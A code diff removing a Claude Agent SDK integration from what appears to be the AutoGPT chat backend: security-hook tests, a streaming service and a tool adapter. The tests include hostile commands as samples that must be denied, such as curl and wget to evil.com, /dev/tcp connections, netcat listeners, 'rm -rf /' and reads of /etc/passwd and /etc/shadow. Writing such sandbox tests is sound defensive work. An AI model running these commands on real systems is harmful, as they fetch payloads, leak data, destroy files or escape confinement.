-        {"file_path": f"{SDK_CWD}/../../etc/passwd"},
-        sdk_cwd=SDK_CWD,
-    )
-    assert _is_denied(result)
-
-
-def test_no_path_allowed():
-    """Glob/Grep without a path argument defaults to cwd — should pass."""
-    result = _validate_tool_access("Glob", {}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_no_cwd_denies_absolute():
-    """If no sdk_cwd is set, absolute paths are denied."""
-    result = _validate_tool_access("Read", {"file_path": "/tmp/anything"})
-    assert _is_denied(result)
-
-
-# -- Tool-results directory --------------------------------------------------
-
-
-def test_read_tool_results_allowed():
-    home = os.path.expanduser("~")
-    path = f"{home}/.claude/projects/-tmp-copilot-abc123/tool-results/12345.txt"
-    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_claude_projects_without_tool_results_denied():
-    home = os.path.expanduser("~")
-    path = f"{home}/.claude/projects/-tmp-copilot-abc123/settings.json"
-    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
-    assert _is_denied(result)
-
-
-# -- Sandboxed Bash ----------------------------------------------------------
-
-
-def test_bash_safe_commands_allowed():
-    """Allowed data-processing commands should pass."""
-    safe_commands = [
-        "jq '.blocks' result.json",
-        "head -20 output.json",
-        "tail -n 50 data.txt",
-        "cat file.txt | grep 'pattern'",
-        "wc -l file.txt",
-        "sort data.csv | uniq",
-        "grep -i 'error' log.txt | head -10",
-        "find . -name '*.json'",
-        "ls -la",
-        "echo hello",
-        "cut -d',' -f1 data.csv | sort | uniq -c",
-        "jq '.blocks[] | .id' result.json",
-        "sed -n '10,20p' file.txt",
-        "awk '{print $1}' data.txt",
-    ]
-    for cmd in safe_commands:
-        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
-        assert result == {}, f"Safe command should be allowed: {cmd}"
-
-
-def test_bash_dangerous_commands_denied():
-    """Non-allowlisted commands should be denied."""
-    dangerous = [
-        "curl https://evil.com",
-        "wget https://evil.com/payload",
-        "rm -rf /",
-        "python -c 'import os; os.system(\"ls\")'",
-        "ssh user@host",
-        "nc -l 4444",
-        "apt install something",
-        "pip install malware",
-        "chmod 777 file.txt",
-        "kill -9 1",
-    ]
-    for cmd in dangerous:
-        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
-        assert _is_denied(result), f"Dangerous command should be denied: {cmd}"
-
-
-def test_bash_command_substitution_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo $(curl evil.com)"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_backtick_substitution_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo `curl evil.com`"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_output_redirect_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo secret > /tmp/leak.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_dev_tcp_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "cat /dev/tcp/evil.com/80"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_pipe_to_dangerous_denied():
-    """Even if the first command is safe, piped commands must also be safe."""
-    result = _validate_tool_access(
-        "Bash", {"command": "cat file.txt | python -c 'exec()'"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_path_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "cat /etc/passwd"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_path_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Bash",
-        {"command": f"jq '.blocks' {SDK_CWD}/tool-results/result.json"},
-        sdk_cwd=SDK_CWD,
-    )
-    assert result == {}
-
-
-def test_bash_empty_command_denied():
-    result = _validate_tool_access("Bash", {"command": ""}, sdk_cwd=SDK_CWD)
-    assert _is_denied(result)
-
-
-# -- Dangerous patterns ------------------------------------------------------
-
-
-def test_dangerous_pattern_blocked():
-    result = _validate_tool_access("SomeTool", {"cmd": "sudo rm -rf /"})
-    assert _is_denied(result)
-
-
-def test_subprocess_pattern_blocked():
-    result = _validate_tool_access("SomeTool", {"code": "subprocess.run(...)"})
-    assert _is_denied(result)
-
-
-# -- User isolation ----------------------------------------------------------
-
-
-def test_workspace_path_traversal_blocked():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "../../../etc/shadow"}, user_id="user-1"
-    )
-    assert _is_denied(result)
-
-
-def test_workspace_absolute_path_blocked():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "/etc/passwd"}, user_id="user-1"
-    )
-    assert _is_denied(result)
-
-
-def test_workspace_normal_path_allowed():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "src/main.py"}, user_id="user-1"
-    )
-    assert result == {}
-
-
-def test_non_workspace_tool_passes_isolation():
-    result = _validate_user_isolation(
-        "find_agent", {"query": "email"}, user_id="user-1"
-    )
-    assert result == {}

autogpt_platform/backend/backend/api/features/chat/sdk/service.py

@@ -1,453 +0,0 @@
-"""Claude Agent SDK service layer for CoPilot chat completions."""
-
-import asyncio
-import json
-import logging
-import os
-import re
-import uuid
-from collections.abc import AsyncGenerator
-from typing import Any
-
-from backend.util.exceptions import NotFoundError
-
-from ..config import ChatConfig
-from ..model import (
-    ChatMessage,
-    ChatSession,
-    get_chat_session,
-    update_session_title,
-    upsert_chat_session,
-)
-from ..response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamStart,
-    StreamTextDelta,
-    StreamToolInputAvailable,
-    StreamToolOutputAvailable,
-)
-from ..service import _build_system_prompt, _generate_session_title
-from ..tracking import track_user_message
-from .anthropic_fallback import stream_with_anthropic
-from .response_adapter import SDKResponseAdapter
-from .security_hooks import create_security_hooks
-from .tool_adapter import (
-    COPILOT_TOOL_NAMES,
-    create_copilot_mcp_server,
-    set_execution_context,
-)
-
-logger = logging.getLogger(__name__)
-config = ChatConfig()
-
-# Set to hold background tasks to prevent garbage collection
-_background_tasks: set[asyncio.Task[Any]] = set()
-
-
-_SDK_CWD_PREFIX = "/tmp/copilot-"
-
-# Appended to the system prompt to inform the agent about Bash restrictions.
-# The SDK already describes each tool (Read, Write, Edit, Glob, Grep, Bash),
-# but it doesn't know about our security hooks' command allowlist for Bash.
-_SDK_TOOL_SUPPLEMENT = """
-
-## Bash restrictions
-
-The Bash tool is restricted to safe, read-only data-processing commands:
-jq, grep, head, tail, cat, wc, sort, uniq, cut, tr, sed, awk, find, ls,
-echo, diff, base64, and similar utilities.
-Network commands (curl, wget), destructive commands (rm, chmod), and
-interpreters (python, node) are NOT available.
-"""
-
-
-def _make_sdk_cwd(session_id: str) -> str:
-    """Create a safe, session-specific working directory path.
-
-    Sanitizes session_id, then validates the resulting path stays under /tmp/
-    using normpath + startswith (the pattern CodeQL recognises as a sanitizer).
-    """
-    safe_id = re.sub(r"[^A-Za-z0-9-]", "", session_id)
-    cwd = os.path.normpath(f"{_SDK_CWD_PREFIX}{safe_id}")
-    if not cwd.startswith(_SDK_CWD_PREFIX):
-        raise ValueError(f"Session path escaped prefix: {cwd}")
-    return cwd
-
-
-def _cleanup_sdk_tool_results(cwd: str) -> None:
-    """Remove SDK tool-result files for a specific session working directory.
-
-    The SDK creates tool-result files under ~/.claude/projects/<encoded-cwd>/tool-results/.
-    We clean only the specific cwd's results to avoid race conditions between
-    concurrent sessions.
-    """
-    import glob as _glob
-    import shutil
-
-    # Validate cwd is under the expected prefix (CodeQL sanitizer pattern)
-    normalized = os.path.normpath(cwd)
-    if not normalized.startswith(_SDK_CWD_PREFIX):
-        return
-
-    # SDK encodes the cwd path by replacing '/' with '-'
-    encoded_cwd = normalized.replace("/", "-")
-    project_dir = os.path.expanduser(f"~/.claude/projects/{encoded_cwd}")
-    results_glob = os.path.join(project_dir, "tool-results", "*")
-
-    for path in _glob.glob(results_glob):
-        try:
-            os.remove(path)
-        except OSError:
-            pass
-
-    # Also clean up the temp cwd directory itself
-    try:
-        shutil.rmtree(normalized, ignore_errors=True)
-    except OSError:
-        pass
-
-
-async def _compress_conversation_history(
-    session: ChatSession,
-) -> list[ChatMessage]:
-    """Compress prior conversation messages if they exceed the token threshold.
-
-    Uses the shared compress_context() from prompt.py which supports:
-    - LLM summarization of old messages (keeps recent ones intact)
-    - Progressive content truncation as fallback
-    - Middle-out deletion as last resort
-
-    Returns the compressed prior messages (everything except the current message).
-    """
-    prior = session.messages[:-1]
-    if len(prior) < 2:
-        return prior
-
-    from backend.util.prompt import compress_context
-
-    # Convert ChatMessages to dicts for compress_context
-    messages_dict = []
-    for msg in prior:
-        msg_dict: dict[str, Any] = {"role": msg.role}
-        if msg.content:
-            msg_dict["content"] = msg.content
-        if msg.tool_calls:
-            msg_dict["tool_calls"] = msg.tool_calls
-        if msg.tool_call_id:
-            msg_dict["tool_call_id"] = msg.tool_call_id
-        messages_dict.append(msg_dict)
-
-    try:
-        import openai
-
-        async with openai.AsyncOpenAI(
-            api_key=config.api_key, base_url=config.base_url, timeout=30.0
-        ) as client:
-            result = await compress_context(
-                messages=messages_dict,
-                model=config.model,
-                client=client,
-            )
-    except Exception as e:
-        logger.warning(f"[SDK] Context compression with LLM failed: {e}")
-        # Fall back to truncation-only (no LLM summarization)
-        result = await compress_context(
-            messages=messages_dict,
-            model=config.model,
-            client=None,
-        )
-
-    if result.was_compacted:
-        logger.info(
-            f"[SDK] Context compacted: {result.original_token_count} -> "
-            f"{result.token_count} tokens "
-            f"({result.messages_summarized} summarized, "
-            f"{result.messages_dropped} dropped)"
-        )
-        # Convert compressed dicts back to ChatMessages
-        return [
-            ChatMessage(
-                role=m["role"],
-                content=m.get("content"),
-                tool_calls=m.get("tool_calls"),
-                tool_call_id=m.get("tool_call_id"),
-            )
-            for m in result.messages
-        ]
-
-    return prior
-
-
-def _format_conversation_context(messages: list[ChatMessage]) -> str | None:
-    """Format conversation messages into a context prefix for the user message.
-
-    Returns a string like:
-        <conversation_history>
-        User: hello
-        You responded: Hi! How can I help?
-        </conversation_history>
-
-    Returns None if there are no messages to format.
-    """
-    if not messages:
-        return None
-
-    lines: list[str] = []
-    for msg in messages:
-        if not msg.content:
-            continue
-        if msg.role == "user":
-            lines.append(f"User: {msg.content}")
-        elif msg.role == "assistant":
-            lines.append(f"You responded: {msg.content}")
-        # Skip tool messages — they're internal details
-
-    if not lines:
-        return None
-
-    return "<conversation_history>\n" + "\n".join(lines) + "\n</conversation_history>"
-
-
-async def stream_chat_completion_sdk(
-    session_id: str,
-    message: str | None = None,
-    tool_call_response: str | None = None,  # noqa: ARG001
-    is_user_message: bool = True,
-    user_id: str | None = None,
-    retry_count: int = 0,  # noqa: ARG001
-    session: ChatSession | None = None,
-    context: dict[str, str] | None = None,  # noqa: ARG001
-) -> AsyncGenerator[StreamBaseResponse, None]:
-    """Stream chat completion using Claude Agent SDK.
-
-    Drop-in replacement for stream_chat_completion with improved reliability.
-    """
-
-    if session is None:
-        session = await get_chat_session(session_id, user_id)
-
-    if not session:
-        raise NotFoundError(
-            f"Session {session_id} not found. Please create a new session first."
-        )
-
-    if message:
-        session.messages.append(
-            ChatMessage(
-                role="user" if is_user_message else "assistant", content=message
-            )
-        )
-        if is_user_message:
-            track_user_message(
-                user_id=user_id, session_id=session_id, message_length=len(message)
-            )
-
-    session = await upsert_chat_session(session)
-
-    # Generate title for new sessions (first user message)
-    if is_user_message and not session.title:
-        user_messages = [m for m in session.messages if m.role == "user"]
-        if len(user_messages) == 1:
-            first_message = user_messages[0].content or message or ""
-            if first_message:
-                task = asyncio.create_task(
-                    _update_title_async(session_id, first_message, user_id)
-                )
-                _background_tasks.add(task)
-                task.add_done_callback(_background_tasks.discard)
-
-    # Build system prompt (reuses non-SDK path with Langfuse support)
-    has_history = len(session.messages) > 1
-    system_prompt, _ = await _build_system_prompt(
-        user_id, has_conversation_history=has_history
-    )
-    system_prompt += _SDK_TOOL_SUPPLEMENT
-    message_id = str(uuid.uuid4())
-    text_block_id = str(uuid.uuid4())
-    task_id = str(uuid.uuid4())
-
-    yield StreamStart(messageId=message_id, taskId=task_id)
-
-    stream_completed = False
-    # Use a session-specific temp dir to avoid cleanup race conditions
-    # between concurrent sessions.
-    sdk_cwd = _make_sdk_cwd(session_id)
-    os.makedirs(sdk_cwd, exist_ok=True)
-
-    set_execution_context(user_id, session, None)
-
-    try:
-        try:
-            from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
-
-            mcp_server = create_copilot_mcp_server()
-
-            options = ClaudeAgentOptions(
-                system_prompt=system_prompt,
-                mcp_servers={"copilot": mcp_server},  # type: ignore[arg-type]
-                allowed_tools=COPILOT_TOOL_NAMES,
-                hooks=create_security_hooks(user_id, sdk_cwd=sdk_cwd),  # type: ignore[arg-type]
-                cwd=sdk_cwd,
-            )
-
-            adapter = SDKResponseAdapter(message_id=message_id)
-            adapter.set_task_id(task_id)
-
-            async with ClaudeSDKClient(options=options) as client:
-                current_message = message or ""
-                if not current_message and session.messages:
-                    last_user = [m for m in session.messages if m.role == "user"]
-                    if last_user:
-                        current_message = last_user[-1].content or ""
-
-                if not current_message.strip():
-                    yield StreamError(
-                        errorText="Message cannot be empty.",
-                        code="empty_prompt",
-                    )
-                    yield StreamFinish()
-                    return
-
-                # Build query with conversation history context.
-                # Compress history first to handle long conversations.
-                query_message = current_message
-                if len(session.messages) > 1:
-                    compressed = await _compress_conversation_history(session)
-                    history_context = _format_conversation_context(compressed)
-                    if history_context:
-                        query_message = (
-                            f"{history_context}\n\n"
-                            f"Now, the user says:\n{current_message}"
-                        )
-
-                logger.info(
-                    f"[SDK] Sending query: {current_message[:80]!r}"
-                    f" ({len(session.messages)} msgs in session)"
-                )
-                await client.query(query_message, session_id=session_id)
-
-                assistant_response = ChatMessage(role="assistant", content="")
-                accumulated_tool_calls: list[dict[str, Any]] = []
-                has_appended_assistant = False
-                has_tool_results = False
-
-                async for sdk_msg in client.receive_messages():
-                    logger.debug(
-                        f"[SDK] Received: {type(sdk_msg).__name__} "
-                        f"{getattr(sdk_msg, 'subtype', '')}"
-                    )
-                    for response in adapter.convert_message(sdk_msg):
-                        if isinstance(response, StreamStart):
-                            continue
-                        yield response
-
-                        if isinstance(response, StreamTextDelta):
-                            delta = response.delta or ""
-                            # After tool results, start a new assistant
-                            # message for the post-tool text.
-                            if has_tool_results and has_appended_assistant:
-                                assistant_response = ChatMessage(
-                                    role="assistant", content=delta
-                                )
-                                accumulated_tool_calls = []
-                                has_appended_assistant = False
-                                has_tool_results = False
-                                session.messages.append(assistant_response)
-                                has_appended_assistant = True
-                            else:
-                                assistant_response.content = (
-                                    assistant_response.content or ""
-                                ) + delta
-                                if not has_appended_assistant:
-                                    session.messages.append(assistant_response)
-                                    has_appended_assistant = True
-
-                        elif isinstance(response, StreamToolInputAvailable):
-                            accumulated_tool_calls.append(
-                                {
-                                    "id": response.toolCallId,
-                                    "type": "function",
-                                    "function": {
-                                        "name": response.toolName,
-                                        "arguments": json.dumps(response.input or {}),
-                                    },
-                                }
-                            )
-                            assistant_response.tool_calls = accumulated_tool_calls
-                            if not has_appended_assistant:
-                                session.messages.append(assistant_response)
-                                has_appended_assistant = True
-
-                        elif isinstance(response, StreamToolOutputAvailable):
-                            session.messages.append(
-                                ChatMessage(
-                                    role="tool",
-                                    content=(
-                                        response.output
-                                        if isinstance(response.output, str)
-                                        else str(response.output)
-                                    ),
-                                    tool_call_id=response.toolCallId,
-                                )
-                            )
-                            has_tool_results = True
-
-                        elif isinstance(response, StreamFinish):
-                            stream_completed = True
-
-                    if stream_completed:
-                        break
-
-                if (
-                    assistant_response.content or assistant_response.tool_calls
-                ) and not has_appended_assistant:
-                    session.messages.append(assistant_response)
-
-        except ImportError:
-            logger.warning(
-                "[SDK] claude-agent-sdk not available, using Anthropic fallback"
-            )
-            async for response in stream_with_anthropic(
-                session, system_prompt, text_block_id
-            ):
-                if isinstance(response, StreamFinish):
-                    stream_completed = True
-                yield response
-
-        await upsert_chat_session(session)
-        logger.debug(
-            f"[SDK] Session {session_id} saved with {len(session.messages)} messages"
-        )
-        if not stream_completed:
-            yield StreamFinish()
-
-    except Exception as e:
-        logger.error(f"[SDK] Error: {e}", exc_info=True)
-        try:
-            await upsert_chat_session(session)
-        except Exception as save_err:
-            logger.error(f"[SDK] Failed to save session on error: {save_err}")
-        yield StreamError(
-            errorText="An error occurred. Please try again.",
-            code="sdk_error",
-        )
-        yield StreamFinish()
-    finally:
-        _cleanup_sdk_tool_results(sdk_cwd)
-
-
-async def _update_title_async(
-    session_id: str, message: str, user_id: str | None = None
-) -> None:
-    """Background task to update session title."""
-    try:
-        title = await _generate_session_title(
-            message, user_id=user_id, session_id=session_id
-        )
-        if title:
-            await update_session_title(session_id, title)
-            logger.debug(f"[SDK] Generated title for {session_id}: {title}")
-    except Exception as e:
-        logger.warning(f"[SDK] Failed to update session title: {e}")

autogpt_platform/backend/backend/api/features/chat/sdk/tool_adapter.py

@@ -1,321 +0,0 @@
-"""Tool adapter for wrapping existing CoPilot tools as Claude Agent SDK MCP tools.
-
-This module provides the adapter layer that converts existing BaseTool implementations
-into in-process MCP tools that can be used with the Claude Agent SDK.
-"""
-
-import json
-import logging
-import os
-import uuid
-from contextvars import ContextVar
-from typing import Any
-
-from backend.api.features.chat.model import ChatSession
-from backend.api.features.chat.tools import TOOL_REGISTRY
-from backend.api.features.chat.tools.base import BaseTool
-
-logger = logging.getLogger(__name__)
-
-# Allowed base directory for the Read tool (SDK saves oversized tool results here)
-_SDK_TOOL_RESULTS_DIR = os.path.expanduser("~/.claude/")
-
-# MCP server naming - the SDK prefixes tool names as "mcp__{server_name}__{tool}"
-MCP_SERVER_NAME = "copilot"
-MCP_TOOL_PREFIX = f"mcp__{MCP_SERVER_NAME}__"
-
-# Context variables to pass user/session info to tool execution
-_current_user_id: ContextVar[str | None] = ContextVar("current_user_id", default=None)
-_current_session: ContextVar[ChatSession | None] = ContextVar(
-    "current_session", default=None
-)
-_current_tool_call_id: ContextVar[str | None] = ContextVar(
-    "current_tool_call_id", default=None
-)
-
-# Stash for MCP tool outputs before the SDK potentially truncates them.
-# Keyed by tool_name → full output string. Consumed (popped) by the
-# response adapter when it builds StreamToolOutputAvailable.
-_pending_tool_outputs: ContextVar[dict[str, str]] = ContextVar(
-    "pending_tool_outputs", default=None  # type: ignore[arg-type]
-)
-
-
-def set_execution_context(
-    user_id: str | None,
-    session: ChatSession,
-    tool_call_id: str | None = None,
-) -> None:
-    """Set the execution context for tool calls.
-
-    This must be called before streaming begins to ensure tools have access
-    to user_id and session information.
-    """
-    _current_user_id.set(user_id)
-    _current_session.set(session)
-    _current_tool_call_id.set(tool_call_id)
-    _pending_tool_outputs.set({})
-
-
-def get_execution_context() -> tuple[str | None, ChatSession | None, str | None]:
-    """Get the current execution context."""
-    return (
-        _current_user_id.get(),
-        _current_session.get(),
-        _current_tool_call_id.get(),
-    )
-
-
-def pop_pending_tool_output(tool_name: str) -> str | None:
-    """Pop and return the stashed full output for *tool_name*.
-
-    The SDK CLI may truncate large tool results (writing them to disk and
-    replacing the content with a file reference). This stash keeps the
-    original MCP output so the response adapter can forward it to the
-    frontend for proper widget rendering.
-
-    Returns ``None`` if nothing was stashed for *tool_name*.
-    """
-    pending = _pending_tool_outputs.get(None)
-    if pending is None:
-        return None
-    return pending.pop(tool_name, None)
-
-
-def create_tool_handler(base_tool: BaseTool):
-    """Create an async handler function for a BaseTool.
-
-    This wraps the existing BaseTool._execute method to be compatible
-    with the Claude Agent SDK MCP tool format.
-    """
-
-    async def tool_handler(args: dict[str, Any]) -> dict[str, Any]:
-        """Execute the wrapped tool and return MCP-formatted response."""
-        user_id, session, tool_call_id = get_execution_context()
-
-        if session is None:
-            return {
-                "content": [
-                    {
-                        "type": "text",
-                        "text": json.dumps(
-                            {
-                                "error": "No session context available",
-                                "type": "error",
-                            }
-                        ),
-                    }
-                ],
-                "isError": True,
-            }
-
-        try:
-            # Call the existing tool's execute method
-            # Generate unique tool_call_id per invocation for proper correlation
-            effective_id = tool_call_id or f"sdk-{uuid.uuid4().hex[:12]}"
-            result = await base_tool.execute(
-                user_id=user_id,
-                session=session,
-                tool_call_id=effective_id,
-                **args,
-            )
-
-            # The result is a StreamToolOutputAvailable, extract the output
-            text = (
-                result.output
-                if isinstance(result.output, str)
-                else json.dumps(result.output)
-            )
-
-            # Stash the full output before the SDK potentially truncates it.
-            # The response adapter will pop this for frontend widget rendering.
-            pending = _pending_tool_outputs.get(None)
-            if pending is not None:
-                pending[base_tool.name] = text
-
-            return {
-                "content": [{"type": "text", "text": text}],
-                "isError": not result.success,
-            }
-
-        except Exception as e:
-            logger.error(f"Error executing tool {base_tool.name}: {e}", exc_info=True)
-            return {
-                "content": [
-                    {
-                        "type": "text",
-                        "text": json.dumps(
-                            {
-                                "error": str(e),
-                                "type": "error",
-                                "message": f"Failed to execute {base_tool.name}",
-                            }
-                        ),
-                    }
-                ],
-                "isError": True,
-            }
-
-    return tool_handler
-
-
-def _build_input_schema(base_tool: BaseTool) -> dict[str, Any]:
-    """Build a JSON Schema input schema for a tool."""
-    return {
-        "type": "object",
-        "properties": base_tool.parameters.get("properties", {}),
-        "required": base_tool.parameters.get("required", []),
-    }
-
-
-def get_tool_definitions() -> list[dict[str, Any]]:
-    """Get all tool definitions in MCP format.
-
-    Returns a list of tool definitions that can be used with
-    create_sdk_mcp_server or as raw tool definitions.
-    """
-    tool_definitions = []
-
-    for tool_name, base_tool in TOOL_REGISTRY.items():
-        tool_def = {
-            "name": tool_name,
-            "description": base_tool.description,
-            "inputSchema": _build_input_schema(base_tool),
-        }
-        tool_definitions.append(tool_def)
-
-    return tool_definitions
-
-
-def get_tool_handlers() -> dict[str, Any]:
-    """Get all tool handlers mapped by name.
-
-    Returns a dictionary mapping tool names to their handler functions.
-    """
-    handlers = {}
-
-    for tool_name, base_tool in TOOL_REGISTRY.items():
-        handlers[tool_name] = create_tool_handler(base_tool)
-
-    return handlers
-
-
-async def _read_file_handler(args: dict[str, Any]) -> dict[str, Any]:
-    """Read a file with optional offset/limit. Restricted to SDK working directory.
-
-    After reading, the file is deleted to prevent accumulation in long-running pods.
-    """
-    file_path = args.get("file_path", "")
-    offset = args.get("offset", 0)
-    limit = args.get("limit", 2000)
-
-    # Security: only allow reads under the SDK's working directory
-    real_path = os.path.realpath(file_path)
-    if not real_path.startswith(_SDK_TOOL_RESULTS_DIR):
-        return {
-            "content": [{"type": "text", "text": f"Access denied: {file_path}"}],
-            "isError": True,
-        }
-
-    try:
-        with open(real_path) as f:
-            lines = f.readlines()
-        selected = lines[offset : offset + limit]
-        content = "".join(selected)
-        return {"content": [{"type": "text", "text": content}], "isError": False}
-    except FileNotFoundError:
-        return {
-            "content": [{"type": "text", "text": f"File not found: {file_path}"}],
-            "isError": True,
-        }
-    except Exception as e:
-        return {
-            "content": [{"type": "text", "text": f"Error reading file: {e}"}],
-            "isError": True,
-        }
-
-
-_READ_TOOL_NAME = "Read"
-_READ_TOOL_DESCRIPTION = (
-    "Read a file from the local filesystem. "
-    "Use offset and limit to read specific line ranges for large files."
-)
-_READ_TOOL_SCHEMA = {
-    "type": "object",
-    "properties": {
-        "file_path": {
-            "type": "string",
-            "description": "The absolute path to the file to read",
-        },
-        "offset": {
-            "type": "integer",
-            "description": "Line number to start reading from (0-indexed). Default: 0",
-        },
-        "limit": {
-            "type": "integer",
-            "description": "Number of lines to read. Default: 2000",
-        },
-    },
-    "required": ["file_path"],
-}
-
-
-# Create the MCP server configuration
-def create_copilot_mcp_server():
-    """Create an in-process MCP server configuration for CoPilot tools.
-
-    This can be passed to ClaudeAgentOptions.mcp_servers.
-
-    Note: The actual SDK MCP server creation depends on the claude-agent-sdk
-    package being available. This function returns the configuration that
-    can be used with the SDK.
-    """
-    try:
-        from claude_agent_sdk import create_sdk_mcp_server, tool
-
-        # Create decorated tool functions
-        sdk_tools = []
-
-        for tool_name, base_tool in TOOL_REGISTRY.items():
-            handler = create_tool_handler(base_tool)
-            decorated = tool(
-                tool_name,
-                base_tool.description,
-                _build_input_schema(base_tool),
-            )(handler)
-            sdk_tools.append(decorated)
-
-        # Add the Read tool so the SDK can read back oversized tool results
-        read_tool = tool(
-            _READ_TOOL_NAME,
-            _READ_TOOL_DESCRIPTION,
-            _READ_TOOL_SCHEMA,
-        )(_read_file_handler)
-        sdk_tools.append(read_tool)
-
-        server = create_sdk_mcp_server(
-            name=MCP_SERVER_NAME,
-            version="1.0.0",
-            tools=sdk_tools,
-        )
-
-        return server
-
-    except ImportError:
-        # Let ImportError propagate so service.py handles the fallback
-        raise
-
-
-# SDK built-in tools allowed within the workspace directory.
-# Security hooks validate that file paths stay within sdk_cwd
-# and that Bash commands are restricted to a safe allowlist.
-_SDK_BUILTIN_TOOLS = ["Read", "Write", "Edit", "Glob", "Grep", "Bash"]
-
-# List of tool names for allowed_tools configuration
-# Include MCP tools, the MCP Read tool for oversized results,
-# and SDK built-in file tools for workspace operations.
-COPILOT_TOOL_NAMES = [
-    *[f"{MCP_TOOL_PREFIX}{name}" for name in TOOL_REGISTRY.keys()],
-    f"{MCP_TOOL_PREFIX}{_READ_TOOL_NAME}",
-    *_SDK_BUILTIN_TOOLS,
-]

autogpt_platform/backend/backend/api/features/chat/service.py

@@ -245,16 +245,12 @@ async def _get_system_prompt_template(context: str) -> str:
     return DEFAULT_SYSTEM_PROMPT.format(users_information=context)
 
 
-async def _build_system_prompt(
+async def _build_system_prompt(user_id: str | None) -> tuple[str, Any]:
-    user_id: str | None, has_conversation_history: bool = False
-) -> tuple[str, Any]:
     """Build the full system prompt including business understanding if available.
 
     Args:
-        user_id: The user ID for fetching business understanding.
+        user_id: The user ID for fetching business understanding
-        has_conversation_history: Whether there's existing conversation history.
+                     If "default" and this is the user's first session, will use "onboarding" instead.
-            If True, we don't tell the model to greet/introduce (since they're
-            already in a conversation).
 
     Returns:
         Tuple of (compiled prompt string, business understanding object)
@@ -270,8 +266,6 @@ async def _build_system_prompt(
 
     if understanding:
         context = format_understanding_for_prompt(understanding)
-    elif has_conversation_history:
-        context = "No prior understanding saved yet. Continue the existing conversation naturally."
     else:
         context = "This is the first time you are meeting the user. Greet them and introduce them to the platform"
 
@@ -380,6 +374,7 @@ async def stream_chat_completion(
 
     Raises:
         NotFoundError: If session_id is invalid
+        ValueError: If max_context_messages is exceeded
 
     """
     completion_start = time.monotonic()
@@ -464,9 +459,8 @@ async def stream_chat_completion(
 
     # Generate title for new sessions on first user message (non-blocking)
     # Check: is_user_message, no title yet, and this is the first user message
+    if is_user_message and message and not session.title:
         user_messages = [m for m in session.messages if m.role == "user"]
-    first_user_msg = message or (user_messages[0].content if user_messages else None)
-    if is_user_message and first_user_msg and not session.title:
         if len(user_messages) == 1:
             # First user message - generate title in background
             import asyncio
@@ -474,7 +468,7 @@ async def stream_chat_completion(
             # Capture only the values we need (not the session object) to avoid
             # stale data issues when the main flow modifies the session
             captured_session_id = session_id
-            captured_message = first_user_msg
+            captured_message = message
             captured_user_id = user_id
 
             async def _update_title():
@@ -806,9 +800,13 @@ async def stream_chat_completion(
         # Build the messages list in the correct order
         messages_to_save: list[ChatMessage] = []
 
-        # Add assistant message with tool_calls if any
+        # Add assistant message with tool_calls if any.
+        # Use extend (not assign) to preserve tool_calls already added by
+        # _yield_tool_call for long-running tools.
         if accumulated_tool_calls:
-            assistant_response.tool_calls = accumulated_tool_calls
+            if not assistant_response.tool_calls:
+                assistant_response.tool_calls = []
+            assistant_response.tool_calls.extend(accumulated_tool_calls)
             logger.info(
                 f"Added {len(accumulated_tool_calls)} tool calls to assistant message"
             )
@@ -1239,7 +1237,7 @@ async def _stream_chat_chunks(
 
                 total_time = (time_module.perf_counter() - stream_chunks_start) * 1000
                 logger.info(
-                    f"[TIMING] _stream_chat_chunks COMPLETED in {total_time / 1000:.1f}s; "
+                    f"[TIMING] _stream_chat_chunks COMPLETED in {total_time/1000:.1f}s; "
                     f"session={session.session_id}, user={session.user_id}",
                     extra={"json_fields": {**log_meta, "total_time_ms": total_time}},
                 )
@@ -1410,13 +1408,9 @@ async def _yield_tool_call(
                 operation_id=operation_id,
             )
 
-            # Save assistant message with tool_call FIRST (required by LLM)
+            # Attach the tool_call to the current turn's assistant message
-            assistant_message = ChatMessage(
+            # (or create one if this is a tool-only response with no text).
-                role="assistant",
+            session.add_tool_call_to_current_turn(tool_calls[yield_idx])
-                content="",
-                tool_calls=[tool_calls[yield_idx]],
-            )
-            session.messages.append(assistant_message)
 
             # Then save pending tool result
             pending_message = ChatMessage(

autogpt_platform/backend/backend/api/features/chat/stream_registry.py

@@ -814,28 +814,6 @@ async def get_active_task_for_session(
                 if task_user_id and user_id != task_user_id:
                     continue
 
-                # Auto-expire stale tasks that exceeded stream_timeout
-                created_at_str = meta.get("created_at", "")
-                if created_at_str:
-                    try:
-                        created_at = datetime.fromisoformat(created_at_str)
-                        age_seconds = (
-                            datetime.now(timezone.utc) - created_at
-                        ).total_seconds()
-                        if age_seconds > config.stream_timeout:
-                            logger.warning(
-                                f"[TASK_LOOKUP] Auto-expiring stale task {task_id[:8]}... "
-                                f"(age={age_seconds:.0f}s > timeout={config.stream_timeout}s)"
-                            )
-                            await mark_task_completed(task_id, "failed")
-                            continue
-                    except (ValueError, TypeError):
-                        pass
-
-                logger.info(
-                    f"[TASK_LOOKUP] Found running task {task_id[:8]}... for session {session_id[:8]}..."
-                )
-
                 # Get the last message ID from Redis Stream
                 stream_key = _get_task_stream_key(task_id)
                 last_id = "0-0"

autogpt_platform/backend/backend/api/features/chat/tools/models.py

